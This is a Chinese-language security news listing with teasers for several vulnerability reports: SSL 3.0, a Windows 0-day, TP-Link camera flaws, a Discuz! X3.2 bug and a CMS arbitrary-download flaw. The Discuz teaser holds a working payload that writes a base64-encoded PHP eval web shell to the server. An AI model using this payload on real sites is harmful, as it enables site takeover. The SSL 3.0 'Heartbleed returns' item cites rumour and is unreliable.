-
心血漏洞第二发？SSL v3再曝新漏洞发布预警
关于前一阵的SSL“心血”漏洞我想大家一定不会太陌生，漏洞出来之后，各家都组织人马忙东忙西。该分析的分析，该打补丁的打补丁。可悲的的是尽管补了却还是可以绕过弄得大家精疲力竭。 风波再起：SSL3.0 心脏滴血（Heartbleed）又来了 风波刚刚过去，我们的厂商还没来得及松口气，今天又收到了另外一则可怕的消息：“Heartbleed”又来了！不过这次，是SSL3.0版本。 根据路边社消...阅读全文阅读全文
-
影响全版本Windows：iSIGHT监控间谍活动发现Windows最新0day漏洞
iSIGHT在俄罗斯网络间谍活动中发现影响全版本Windows系统的最新0day漏洞，漏洞编号为CVE-2014-4114，目前，微软正紧急为该漏洞制作补丁。 昨日，微软的合作者iSIGHT Partners宣布在针对北约，欧盟电信和能源部门的网络间谍战过程中发现一枚新的windows 0day漏洞，该漏洞影响目前微软全版本的系统其中包括目前应用量最广的服务器系统Windows Server2008和Windows Server2012...阅读全文
-
TP-Link网络摄像机多个漏洞详细剖析
漏洞描述： 在TP-LinkTL-SC3171 IP Cameras网络摄像机的版本为LM.1.6.18P12_sign5的固件上发现多个漏洞，这些漏洞允许攻击者做如下的事情： 1：[CVE-2013-2578]通过文件 /cgi-bin/admin/servetest执行任意命令。 2：[CVE-2013-2579]用硬编码身份凭证的shell执行任意命令。 3：[CVE-2013-2580]执行未经身份认证的远程文件上传。 4：[CVE-2013-2581]执行未经身份认证的固件...阅读全文
-
Discuz3.2漏洞文件包含漏洞可后台拿shell
简要描述： 最新版本：Discuz! X3.2 Release 20140618 包括以前版本 详细说明： 由于创建专题时未对 静态化名称 做任何限制引发此漏洞 1.全局->站点信息 网站 URL: http://www.comsenz.com/#<?phpfile_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=’));?> 2.工具->更新缓存 3.门户->...阅读全文
-
通元建站系统存在任意下载0day
这个系统搭建的站都是些大型的政府站和清华北大等高等学校的网站 所以研究了下 首先看了漏洞页面 cms\web\downloadFiles.jsp 分析了下源代码 String file = request.getParameter("file"); //file = file.replace("/","\\"); String filename = file.substring(file.lastIndexOf("/")+1); String extname = filename.substring(filename.lastInd...阅读全文
